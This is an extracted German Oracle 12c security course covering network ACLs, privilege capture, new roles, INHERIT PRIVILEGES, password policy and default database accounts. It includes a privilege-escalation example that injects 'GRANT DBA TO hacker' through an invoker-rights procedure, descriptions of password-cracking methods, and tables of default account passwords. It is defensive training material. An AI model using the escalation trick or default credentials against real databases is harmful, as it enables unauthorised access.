DBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE (
host
=> 'www.muniqsoft.de',
lower_port
=> 80,
upper_port
=> null,
ace
=> xs$ace_type(
privilege_list => xs$name_list('http'),
principal_name => 'SCOTT',
principal_type => xs_acl.ptype_db),
remove_empty_acl => TRUE);
END;
MuniQSoft GmbH
Kapitel 4 - Security
Ora12c 4-31
Syntax
DBMS_NETWORK_ACL_ADMIN.REMOVE_HOST_ACE (
host
IN VARCHAR2,
lower_port
IN PLS_INTEGER DEFAULT NULL,
upper_port
IN PLS_INTEGER DEFAULT NULL,
ace
IN XS$ACE_TYPE,
remove_empty_acl IN BOOLEAN DEFAULT FALSE);
Stichwörter: ACE
Security I 2 - 31
ACL Views
SELECT acl_owner, host, lower_port, upper_port
FROM dba_host_acls;
SELECT * FROM dba_host_aces;
MuniQSoft GmbH
Kapitel 4 - Security
Ora12c 4-32
Stichwörter: ACL; View
Security I 2 - 32
12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.)
Die Recht von Usern kann man sich leicht über die
diversen Data Dictionary-Views oder
DBMS_METADATA.GET_GRANTED_DDL anzeigen
Das in 12c neue Package DBMS_PRIVILEGE_CAPTURE
ermöglicht darüber hinaus einen Vergleich der
vergebenen Rechte und Rollen mit denen, die wirklich
benutzt werden, so dass man die Rechtevergabe besser
maßschneidern und minimieren kann.
Benötigte Rechte:
CAPTURE_ADMIN Rolle
Benötigte Lizenz: EE + Database Vault Option
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: PRIVILEGE, DBMS_PRIVILEGE_CAPTURE
Security I 2 - 33
Security I 2 - 33
Ablauf der Rechteerfassung
1. Sie sagen, was Sie aufzeichnen wollen:
DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE
2. Sie starten die Aufzeichnung
DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE
3. Sie führen Ihre Aufgaben in der DB mit dem gewünschten Benutzer
aus
4. Sie Stoppen die Aufzeichnung
DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE
5. Die Reporterzeugung wird angestoßen
DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT
6. Sie können die Auswertung beginnen
dba_used_privs
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechteerfassung
Security I 2 - 34
Security I 2 - 34
CREATE_CAPTURE-Prozedur
Syntax
DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE (
name
VARCHAR2,
description VARCHAR2 DEFAULT NULL, -- max 1024 Zeichen
type
NUMBER DEFAULT G_DATABASE,
roles
ROLE_NAME_LIST DEFAULT ROLE_NAME_LIST(),
condition
VARCHAR2 DEFAULT NULL);
Parameter Type kann folgende Werte annehmen:
g_database: Ermittelt die Verwendung aller Rechte der DB (außer SYS)
g_role: Ermittelt die Verwendung eines Rechts, das Bestandteil einer
gegegeben Rolle oder Liste von Rollen ist.
g_context: Ermittelt die Verwendung eines Rechts in einem bestimmten
Context, der durch den Parameter condition beschrieben wird
g_role_and_context: Kombination von g_role und g_context
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechteerfassung; Prozedur
Security I 2 - 35
Security I 2 - 35
Beispiele
Alle Rechte der Datenbank erfassen
BEGIN
DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(
name
=> 'all_privs',
type
=> DBMS_PRIVILEGE_CAPTURE.G_DATABASE);
END;
Alle Rechte von PUBLIC erfassen
BEGIN
DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(
name => 'pub_analysis',
type => DBMS_PRIVILEGE_CAPTURE.G_ROLE,
roles => role_name_list('PUBLIC'));
END;
Hinweis: Es können mehrere Rollen mit Komma getrennt angegeben
werden
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechteerfassung; Beispiele
Security I 2 - 36
Security I 2 - 36
Beispiele
Die genutzten Rechte des Benutzers SCOTT erfassen
BEGIN
DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(
name => 'ANY_priv_analysis_pol',
type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT,
condition => q'!SYS_CONTEXT(
'USERENV', 'SESSION_USER')='SCOTT'!');
END;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechteerfassung; Beispiele
Security I 2 - 37
Security I 2 - 37
App-Überwachung in fremder Session
Alle genutzten Rechte des Modul sap_modul
BEGIN
DBMS_PRIVILEGE_CAPTURE.CREATE_CAPTURE(
name => 'emp_pkg_privs',
type => DBMS_PRIVILEGE_CAPTURE.G_CONTEXT,
condition => q'!SYS_CONTEXT(
'USERENV', 'MODULE') = 'sap_modul'!');
END;
Alternativ erstellen Sie einen Logon-Trigger, der beim
Anmelden einer bestimmten APP die Überwachung
aktiviert
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 38
Security I 2 - 38
Start / Ende der Erfassung
Aufzeichnung starten
BEGIN DBMS_PRIVILEGE_CAPTURE.ENABLE_CAPTURE
('ALL_PRIVS_ANALYSIS'); END;
Ihre Anwendung benutzen
SELECT * FROM …
CREATE TABLE …
DROP VIEW …
Aufzeichnung beenden
BEGIN DBMS_PRIVILEGE_CAPTURE.DISABLE_CAPTURE
('ALL_PRIVS_ANALYSIS'); END;
Report erzeugen
BEGIN DBMS_PRIVILEGE_CAPTURE.GENERATE_RESULT
('ALL_PRIVS_ANALYSIS'); END;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechteerfassung
Security I 2 - 39
Security I 2 - 39
Übersicht der Ausgabe
Diese Views werden zur Ausgabe der Informationen
verwendet:
DBA_USED_PRIVS bzw. DBA_UNUSED_PRIVS
DBA_USED_PUBPRIVS
DBA_USED_SYSPRIVS bzw. DBA_UNUSED_SYSPRIVS
DBA_USED_SYSPRIVS_PATH bzw.
DBA_UNUSED_SYSPRIVS_PATH
DBA_USED_OBJPRIVS bzw. DBA_UNUSED_OBJPRIVS
DBA_USED_OBJPRIVS_PATH bzw.
DBA_UNUSED_OBJPRIVS_PATH
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechteerfassung; Views
Security I 2 - 40
Security I 2 - 40
Beispielausgabe
DBA_UNUSED_PRIVS für den Benutzer SCOTT
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechteerfassung
Security I 2 - 41
Security I 2 - 41
Neue Rollen in 12c
Rolle
Beschreibung
AUDIT_ADMIN
Benutzung von AUDIT und NOAUDIT Befehlen +
Unified und fine-grained Audit Policies
AUDIT_VIEWER
Analyse und Betrachtung von Audit Einträgen
CAPTURE_ADMIN
Zum Erstellen von Verwalten von Privileg Analysis
Policies mit dem Package dbms_privilege_capture
CDB_DBA
Administration der CDB incl. SET CONTAINER,
SELECT ON PDB_PLUG_IN_VIOLATIONS, und
SELECT ON CDB_LOCAL_ADMIN_PRIVS.
EM_EXPRESS_BASIC
Anmelden am EM und Betrachtung von Read Only
Views (beinhaltet select_catalog_role)
EM_EXPRESS_ALL
Benutzung aller Funktion des EM (beinhaltet
EM_EXPRESS_BASIC)
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rollen; neu
Security I 2 - 42
Security I 2 - 42
Neue Rollen in 12c (f)
Rolle
Beschreibung
GLOBAL_AQ_USER_ROLE
Ermöglicht Verbindungen zu einem LDAP Server zur
Benutzung mit Oracle Streams AQ
OPTIMIZER_PROCESSING_
RATE
Erlaubt die Ausführung der Package-Prozeduren:
GATHER_PROCESSING_RATE,
SET_PROCESSING_RATE
DELETE_PROCESSING_RATE
PDB_DBA
Wird automatisch den lokalem Benutzer gegeben, wenn eine
neue Pluggable Datenbank (PDB) von der seed PDB erstellt
wird. Keine Rechte sind mit der Rolle verknüpft
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Stichwörter: Rollen; neu
Security I 2 - 43
Security I 2 - 43
Neue Rechte in 12.1.0.1
Recht
Beschreibung
CREATE PLUGGABLE
DATABASE
CLONE PLUGGABLE DATABASE
Erlaubt Erstellen von neuen Containern für DB
EXEMPT REDACTION POLICY
Ermöglicht die Umgehung der bestehenden
Oracle Data Redaction Policies
KEEP DATE TIME
Für RAS: Gleiches Datum kann erneut
übertragen werden
KEEP SYSGUID
Für RAS: Gleiche SYSGUID kann erneut
übertragen werden (sys_guid())
KEEP SEQUENCE
Für RAS: Gleiche Sequence kann im Fehlerfall
erneut übertragen werden. z.B.:
GRANT KEEP SEQUENCE
ON usr.seq1 to usr2;
MuniQSoft GmbH
Erlaubt das Klonen eines Containers
Kapitel 2 - Rechte & Rollen
Stichwörter: Rechte; neu
Security I 2 - 44
Security I 2 - 44
Neue Rechte in 12.1.0.2
Recht
Beschreibung
READ
Erlaubt das Ausführen eines Selects auf eine
spezielle Tabelle, View, Materialized View oder ein
Synonym
READ ANY TABLE
Erlaubt das Ausführen eines Selects auf eine
beliebige Tabelle, View, Materialized View oder
Synonym in einem anderen Schema
Unterschiede READ
SELECT Recht
SELECT Recht
READ Recht
LOCK TABLE <t> IN EXCLUSIVE MODE
SELECT … FROM <t> FOR UPDATE;
SELECT … FROM <T>
MuniQSoft GmbH
SELECT … FROM <T>
Kapitel 2 - Rechte & Rollen
Security I 2 - 45
Hinweis:
Wenn der Parameter SQL92_SECURITY=TRUE gesetzt ist, benötigt der Benutzer
weiterhin ein SELECT Recht auf der Tabelle bei einem UPDATE oder DELETE
Stichwörter: Rechte; neu
Security I 2 - 45
Inherit Privileges (Oracle 12c)
Bei PL/SQL Objekten, die mit Invoker Rights kompiliert
wurden, kann es passieren, dass ein Entwickler mit
wenig Rechten für einen Benutzer mit vielen Rechte ein
PL/SQL Objekt erstellt.
Der Entwickler könnte durch die Vererbung nun mehr
Rechte erlangen, als er selber hatte.
Dies wird nun verhindert
Fehler ORA-06598: insufficient INHERIT PRIVILEGES
privilege.
kann aber über das Recht -INHERIT [ANY] PRIVILEGESwieder ermöglicht werden
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 46
Security I 2 - 46
Inherit Privileges (f)
Beim Anlegen eines neuen Benutzers wird Ihm
automatisch über die PUBLIC Rolle das Recht INHERIT
PRIVILEGES zugewiesen:
CREATE USER SCOTT IDENTIFIED BY TIGER;
SELECT * FROM dba_tab_privs
WHERE grantee='PUBLIC'
AND privilege='INHERIT PRIVILEGES'
AND table_name='SCOTT';
Sie müssen Ihm also das Recht explizit entziehen, damit
dieser neuer Mechanismus funktioniert !
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 47
Security I 2 - 47
Beispiel zu inherit Privileges
Benutzer A
Entwickler B
CREATE PROCEDUE P
AUTHID CURRENT_USER
IS BEGIN
INSERT INTO a.t …
END;
Hat DBA Rechte
und Tabelle t
Führt Procedure p aus und
erstellt ungewollt einen neuen
Benutzer mit DBA Rechten !!!
MuniQSoft GmbH
-- INSERT wird ersetzt durch
EXECUTE IMMEDIATE
'GRANT DBA TO hacker
IDENTIFIED BY xx';
Kapitel 2 - Rechte & Rollen
Security I 2 - 48
Security I 2 - 48
Beispiel zu inherit Privileges
Syntax zum Vergeben des Rechts:
GRANT INHERIT PRIVILEGES ON USER <invoking_user> TO
<procedure_owner>;
Beispiel (Auf ein Schema begrenzen):
GRANT INHERIT PRIVILEGES
ON USER sys TO scott;
Beispiel (Auf alle Schema ausweiten):
GRANT INHERIT ANY PRIVILEGES TO scott;
Syntax zum Entziehen des Rechts:
REVOKE INHERIT PRIVILEGES
ON USER <usr> FROM public|<usr>;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 49
Security I 2 - 49
Neuerung bei Rechten in 12.1.0.2
Dem Benutzer SCOTT erlauben die Role my_role an
PL/SQL Objekte zu vergeben:
GRANT my_role TO scott
WITH DELEGATE OPTION;
MuniQSoft GmbH
Kapitel 2 - Rechte & Rollen
Security I 2 - 50
Security I 2 - 50
Kapitel 3
Benutzer und Passwörter
Security I 3 - 1
Benutzerpasswörter
Sie sollten möglichst lange Kennwörter verwenden (mehr
als 10 Zeichen).
Regeln für Kennwörter
Maximal 30 Zeichen
Keine Zahl am Anfang (Ausnahme, Passwort wurde in
doppelte Hochkomma gesetzt)
Groß und Kleinschreibung bis 10.2 egal (Ausnahme,
Passwort wurde in doppelte Hochkomma gesetzt)
Ab Version 11.1 können Passwörter auch Klein und
Großbuchstaben beinhalten
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 2
Der Einsatz von guten Kennwörtern stellt eine der wichtigsten Aufgaben zum Schutz
der Datenbank da. Sie sollten möglichst lange Kennwörter verwenden (mehr als 6
Zeichen).
Folgende Regeln gelten für Kennwörter
Maximal 30 Zeichen
Keine Zahl am Anfang (Ausnahme, Passwort wurde in doppelte Hochkomma gesetzt)
Groß und Kleinschreibung egal (Ausnahme, Passwort wurde in doppelte Hochkomma
gesetzt)
Für jeden Benutzer, bis auf SYS kann bei einer bestimmten Anzahl von fehlerhaft
übergebenen Passwörtern der Benutzer-Account gesperrt werden. Das bedeutet,
dass dieser Account ein besonders langes und gutes Passwort bekommen sollte.
Ein Pentium 4 mit 3GHz benötigt:
* 10 Sekunden für 5-ascii-character-combinations
* 5 Minuten für 6-ascii-character-combinations
* 2 Stunden für 7-ascii-character-combinations
* 2,1 Tage für 8-ascii-character-combinations
* 57 Tage für 9-ascii-character-combinations
* 4 Jahre für 10-ascii-character-combinations
Stichwörter: Benutzerpasswörter
Security I 3 - 2
Optimierung von Passwörtern
Schlecht sind folgende Passwörter:
Oracle_asdfg (Oracle oder Firmennamen oder
Benutzernamen im Passwort) + nur erster Buchstabe groß
"Hans Maier" (beide Wörter stehen in einem PasswortWörterbuch)
Elcaro_123 (oracle rückwärts)
0racl3 (Zahlen ersetzen Buchstaben i=1 e=3 o=0 …)
Bibelzitate (Sind in Wörterbuchattacken bereits im Einsatz)
O1r2a3c4l5e6 (Kombination aus einem Wort (oracle) und
Zahlen
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 3
Verwenden Sie also NICHT:
Ihren Namen Rückwärts + Zahlen oder Sonderzeichen.
Den Firmennamen / Abteilungsnamen im Passwort.
Keine Namen oder Ausdrücke, die in einem Wörterbuch vorkommen können.
Kombination von mehreren Wörter aus einem Wörterbuch.
Verwenden Sie lange Passwörter mit Groß und Kleinschreibung mehrfach gemischt +
Sonderzeichen + Zahlen
Beispiele:
•
•
•
mHggGum8_00 (mein Hund geht gerne Gassi um 8.00 (11 Stellen))
meHh_Sweetie (mein erstes Haustier hieß Sweetie (12 Stellen))
kkmPk_außer_Mir (kein kann mein Passwort knacken außer mir (15 Stellen))
Security I 3 - 3
Benutzerpasswörter
Keine einfachen Kennwörternamen (peter, frank, susi,
mausi) vergeben (besser: Fuchs Du hast die Gans
gestohlen, gib sie wieder her... =>fdhdgggswh).
Verwenden Sie keine
Vornamen (Uschi, Klaus, Susanne)
Fußball-Clubs (FCBayern)
Städtenamen (Paris, Berlin, ...)
Kosenamen (Mausi, Schnuckel, ...)
Namen die in einem Wörterbuch stehen
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 4
Verwenden Sie nicht für alle Server die gleichen Passwörter. Wenn ein Rechner geknackt
wurde, sind die anderen auch alle sofort unsicher. Auch wenn das Passwort sich nur
geringfügig unterscheidet, ist es für ein Hacker unmöglich festzustellen welche Änderung
durchgeführt wurde. Beispiel:
Server1: Passwort: 01mybmw01
Server2: Passwort: 01my_bmw01
Server3: Passwort: 01mybmw#01
Die 10 häufigsten Passwörter:
1. Name des Anwenders
2. Name von Kindern, Partner oder Haustieren
3. Kein Kennwort
4. “Password”
5. “Sommer” oder “Winter”
6. “abc123”
7. “123456”
8. Name des Unternehmens
9 “qwert” oder “asdf” (Buchstabenfolge auf der Tastatur)
10. Monat des letzten Kennwortwechsels
Stichwörter: Benutzerpasswörter
Security I 3 - 4
Passwort ändern auf dem Client
Methode des Clients der über
Netzwerk mit Server verbunden :
1. connect <user>/<pwd>
Verschlüsselung
Client
Server
2. SQL*PLUS> password
3. ALTER USER <user> IDENTIFIED BY <pwd>;
4. UPDATE sys.user$ SET password=<HASH>,
spare4=<SHA>;
Nicht supported !!!!
5. Netzwerkverkehr verschlüsselt +
ALTER USER … IDENTIFIED BY
6. Netzwerkverkehr verschlüsselt + UPDATE sys.user$
3
MuniQSoft GmbH
2
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 5
Hinweis:
Das bedeutet, dass bei einer Änderung des Passworts auf der Client-Seite in den
meisten Fällen das neue Passwort über das Netz unverschlüsselt übertragen wird.
Damit ist auch das längste und beste Passwort über Netzwerk-Sniffer abgreifbar.
Verschlüsseln Sie deshalb unbedingt den Netzwerkverkehr.
Security I 3 - 5
Abschalten des alten PWD Algorithmus
Seit Oracle 11 wird ein neuer PWD Algorithmus verwendet.
Leider wird der alte nicht automatisch abgeschaltet.
Sie können das in der Datei der sqlnet.ora konfigurieren
10g Clients (mit CPUOct2012) und höher
SQLNET.ALLOWED_LOGON_VERSION_SERVER=11
11g Clients Verschlüsselung verwenden (ab 11.2.0.3):
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12
11g und 12c Verschlüsselung verwenden (ab 12.1.0.2):
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a
Hier wird beim Neusetzen des Passworts sowohl die alte 10g als
auch die 11g Form des Passworts entfernt
Achtung: SQL Developer 4.0.3 unterstützt dies NICHT
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 6
Hinweis:
Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter:
SQLNET.ALLOWED_LOGON_VERSION_CLIENT
Auch dieser kann die Werte:
12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher
12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g
Authentication Protocols (Empfohlen)
11 für Oracle Database 11g Authentication Protocols (dDfault)
10 für Oracle Database 10g Authentication Protocols
8 für Oracle8i Authentication Protocols
Hinweis:
Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen
Client-Version anmelden.
Security I 3 - 6
Abschalten des alten PWD Algorithmus
Wenn im Parameter
SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a]
steht, wird die Spalte password der Tabelle sys.user$
nicht mehr gefüllt
Damit ist der alte Algorithmus abgeschalten, es können
sich aber nur noch Clients mit entsprechnd hoher
Version anmelden
Empfehlung von Oracle: Alle bisherigen Accounts nach
einer Migration auf Expire setzen und neu vergeben
[lassen]
ALTER USER <user> PASSWORD EXPIRE;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 7
Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !)
ALTER USER marco IDENTIFIED BY abc;
SELECT name,password,spare4 FROM user$
WHERE name='MARCO';
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a
H:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C325
2FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649A
F3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90
Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12
S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5
437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA
39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB
174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC
Security I 3 - 7
Neue Passwortverschlüsselung in 12.1.0.2
Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Hash
für die Passwortverschlüsselung
Zuerst wird PBKDF2 incl Salt verwendet
(http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Tables
und Brut Force Angriffe zu erschweren
OCI und JDBC Client in der Version 12c unterstützen
diese neue Authentifizierung
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 8
Security I 3 - 8
Passwort-Hackmethoden
Brute-Force Attack
Es werden alle möglichen Kombinationen von Buchstaben
ausgetestet
Beispiel:
AAAA
AAAB
...
ZZZZ
Je kürzer das Passwort, desto schneller kann es gefunden
werden. Passwörter mit 6 Buchstaben sind in wenigen
Stunden geknackt
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Passwort-Hackmethoden, Brute-Force-Attacke
Security I 3 - 9
Security I 3 - 9
Passwort-Hackmethoden
Dictionary Attacke
Alle Wörter die in einem Dictionary stehen ausprobieren
MANAGER
CHANGE_ON_INSTALL
SYS
Hybrid Attacke
Alle Wörter die in einem Dictionary stehen werden mit
Zahlen oder Sonderzeichen zusammengesetzt
SYS123
USCHI6
Mau4si
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Passwort-Hackmethoden, Dictionary Attacke
Security I 3 - 10
Security I 3 - 10
Passwort-Hackmethoden
Time-memory trade-off (Rainbow Tables)
Mögliche Passwort-Hash-Strings werden vorab berechnet
und dann mit dem Oracle-Passwort verglichen
Dies kann in wenigen Sekunden zum Ziel führen
Die Information über die Oracle Passwort-Hash_strings
findet man unter sys.user$
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Security I 3 - 11
Hinweis: Passwort Hack unter Windows:
Das Administratorpasswort (oder jedes beliebig andere) kann zurück gesetzt werden
Dazu ist nur ein Floppy-Laufwerk auf dem Rechner notwendig
Workaround
• Rechnerraum absperren, Floppy ausbauen
• USB-Ports deaktivieren
• CD-ROM/DVD deaktivieren
Bedenken Sie auch, dass durch Manipulation des BIOS die Bootreihenfolge geändert werden
kann. Schützen Sie deshalb auch BIOS z.B. durch BIOS-Passwörter.
Stichwörter: Passwort-Hackmethoden, Time-memory trade-off
Security I 3 - 11
Benutzeridentifizierung
Passwortidentifikation unter Windows auch externally möglich
Prüfung durch Betriebssystem ist praktischer, aber auch
gefährlicher.
SHOW PARAMTER OS_AUTHENT
NAME
TYPE
------------------------ ------os_authent_prefix
string
remote_os_authent
boolean
VALUE
-----OPS$
TRUE
CREATE USER OPS$MARCO IDENTIFIED EYTERNALLY;
Jedoch ist es durch remote_os_authent=true auch einem
unsicheren Client möglich sich u.U. in der DB anzumelden.
Besser also auf FALSE setzen.
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzeridentifizierung
Security I 3 - 12
Security I 3 - 12
Benutzeridentifizierung
Authentifizierung über das Netzwerk
Hier ist die Einstellung remote_os_authent unerheblich
Identifizierung erfolgt über Advanced Networking Option
(via Kerberos oder DCE)
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzeridentifizierung
Security I 3 - 13
Security I 3 - 13
Benutzer
Nicht als SYS oder SYSTEM in der Datenbank spielen =>
DEMO-Account anlegen mit beschränkten Rechten.
Vergeben Sie für die Oracle-Default- User andere Passwörter
SYS und SYSTEM
OUTLN und MDSYS
Accounts die nicht genutzt werden, sollten gesperrt werden:
Account sperren:
ALTER USER <user> ACCOUNT LOCK;
Sperrung aufheben:
ALTER USER <user> ACCOUNT UNLOCK;
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzer
Security I 3 - 14
Security I 3 - 14
Benutzerpasswörter (APEX)
Username
Passw
ort
Ab
Drop
Lock
Bedeutung
APEX_PUBLIC_
USER
-----
11.1.x
N
N
Wird für APEX verwendet. Ab 11.1 als Default installiert.
Kann aber ab 9.2.0.2 auch bereits manuell installiert werden.
Wenn Account gelockt wird, kann APEX nicht verwendet
werden!
FLOWS_FILES
-----
11.1.x
N
Y
Benutzer für APEX Dateien. Account sollte gesperrt bleiben
11.1.x
11.2.x
12.?
N
Y
Folgende Versionen existieren derzeit: FLOWS_016000,
FLOWS_020000, FLOWS_020200,
FLOWS_030000, FLOWS_030100, FLOWS_030200,
APEX_040000, APEX_040100, APEX_040200, APEX_050000
FLOWS_03*
APEX_04*
APEX_05* (derzeit
Beta)
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter (APEX)
Security I 3 - 15
Security I 3 - 15
Benutzerpasswörter
Username
Passwort
Ab
Drop
Lock
AUDSYS
<keines>
12.1
N
Y
Bedeutung
Inhaber der Audit Daten
APPQQOSSYS
<frei
wählbar>
11.2
N
Y/N
Qualitätsmanagement Benutzer für RAC Server Pools
DBSNMP
Wird bei
Installation
bestimmt
8.x
N
N
Enterprise Manger Agent Benutzer (10g/11g)
UNIX$>export ORACLE_SID=<sid>
WIN> SET ORACLE_SID=<sid>
WIN> SET ORACLE_HOME=<ORACLE_HOME>
WIN/UNIX> cd %ORACLE_HOME%/bin
WIN/UNIX> emctl stop dbconsole
SQL> ALTER USER dbsnmp IDENTIFIED BY <new_pwd>;
WIN/UNIX> cd $ORACLE_HOME/host_sid/sysman/emd
Sicherheitskopie von targets.xml erstellen
In der Datei die folgende Zeile editieren:
<Property NAME="password"
VALUE="<encrypted_string>" ENCRYPTED="TRUE"/>
Ändern Sie den Wert auf das neue Passwort (Klartext) und setzen
Sie ENCRYPTED auf "FALSE"
WIN/UNIX> emctl start dbconsole'
Setzen Sie nun in der Datei targets.xml ENCRYPTED auf "TRUE"
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Für die Version 9i wird folgendes Verfahren verwendet:
SNMP-Benutzer mit Connect&Resource Rolle
Passwort ändern in Datei: snmp_rw.ora
SNMP.CONNECT.<service_name>.user=<user>
SNMP.CONNECT.<service_name>.password=<pwd>
Benutzer kann gelöscht werden mittels: catnsnmp.sql
Neuangelegt wird er mit: catsnmp.sql
Stichwörter: Benutzerpasswörter
Security I 3 - 16
Security I 3 - 16
Benutzerpasswörter
Username
Passwort
Ab
Drop
Lock
Bedeutung
CTXSYS
CTXSYS
8.1.x
N
Y
Inhaber der Media-Text-Objekte.
DIP
???
10.1
N
Y
Wird für Label Security (Extra-Option) verwendet
DMSYS
DMSYS
10.1
N
Y
Data Mining User. Ersetzt die User ODM und
ODM_MTR. Wird angelegt durch das Skript:
./dm/admin/odmcrtm.sql
DVF
<user>
11.1
N
Y
Database Vault (Extra-Option)
DVSYS
<user>
11.1
N
Y
Database Vault Administrator (Extra-Option)
EXFSYS
EXFSYS
10.1
N
Y
Benutzer für Expression Filter. Kann durch das
Skript: @$ORACLE_HOME/rdbms/admin/catexf.sql
bei Bedarf neu angelegt werden.
Löschen mittels:
@$ORACLE_HOME/rdbms/admin/catnoexf.sql
GSMADMIN
_INTERNAL
12.1
N
Y
Global Data Service Manager Benutzer für
Replikationsumgebungen
GSMCAT
USER
12.1
N
Y
Global Data Service Manager Benutzer
GSMUSER
12.1
N
Y
Global Data Service Manager Benutzer
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 17
Security I 3 - 17
Benutzerpasswörter (ff)
Username
Passwort
Ab
Drop
Lock
Bedeutung
INTERNAL
ORACLE
V6.x
N
N
Aliasname für SYS-Benutzer mit SYSDBA-Rechten
Passwort ändern mit orapwd-Utility.
Wird ab Version 9.1 nicht mehr unterstützt.
LBACSYS
LBACYSY
V8iV9i
N/Y
Y
Oracle Label Security Benutzer. Wird angelegt
durch das Skript:@?\rdbms\admin\catols.sql
Gelöscht werden kann er durch
catnools.sql
MDDATA
???
Ab 10g
N
Y
Spatial und Intermedia-Benutzer
MDSYS
MDSYS
V8i
N/Y
Y
Spatial und Intermedia-Benutzer mit DBA-Rechten
MGMT_
VIEW
Zufällig
erzeugt
Ab 10g
N
N
Benutzer für Enterprise Manager
MTSSYS
MTSSYS
V8.x
N
Y
Benutzer für Microsoft Transaction Server
MIGRATE
MIGRATE
Mig.
10=>11
N
N
Benutzer der Migrationsobjekte besitzt. Er ist nur
während der Migration verfügbar
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 18
Security I 3 - 18
Benutzerpasswörter (ff)
Username
Passwort
Ab
Drop
Lock
Bedeutung
ODM
ODM
9i
N/Y
Y
Data Mining Benutzer (+ ODM_MTR User)
Passwörter können auch geändert werden
12.1
N
Y
Java Virtual Machine Benutzer
OJVMSYS
OLAPSYS
OLAPSYS
9i
N/Y
Y
Olap Benutzer
ORDSYS
ORDSYS
8i
N/Y
Y
Spatial und Intermedia-Benutzer
OWBSYS
???
10g
N/Y
Y
Warehouse Builder
ORDPLUGIN
ORDPLUGIN
8i
N/Y
Y
Intermedia Audio & Video Benutzer
Passwort ändern mit ALTER USER ORDPLUGIN
IDENTIFIED BY <pwd>;
ORACLE_
OCM
??
11.1
?
Y
Oracle Configuration Manager. Zur
Kommunikation mit Metalink
MuniQSoft GmbH
Kapitel 3 - Benutzer & Passwörter
Stichwörter: Benutzerpasswörter
Security I 3 - 19
Security I 3 - 19
Benutzerpasswörter (ff)
Username
Passwort
Ab
Drop
Lock
Bedeutung
OUTLN
OUTLN
8.i
N
Y
Inhaber des OUTLN-Packages mit DBA-Rolle
Passwort ändern mit ALTER USER OUTLN
IDENTIFIED BY <pwd>;
Nicht löschen, sonst können keine Constraints
mehr gesetzt werden. Auch Analysen sind nicht
mehr möglich. Wird angelegt durch das Skript
sql.bsq
PERFSTAT
PERFSTAT
V8.x
N
Y
Benutzer für Statspack Statistiken.
RMAN oder
Benuterdef.
<USERDEF>
V8.x
N
N
Eigentümer des Recovery Manager
Repositories. Benutzername kann frei gewählt
werden (meist jedoch RMAN)
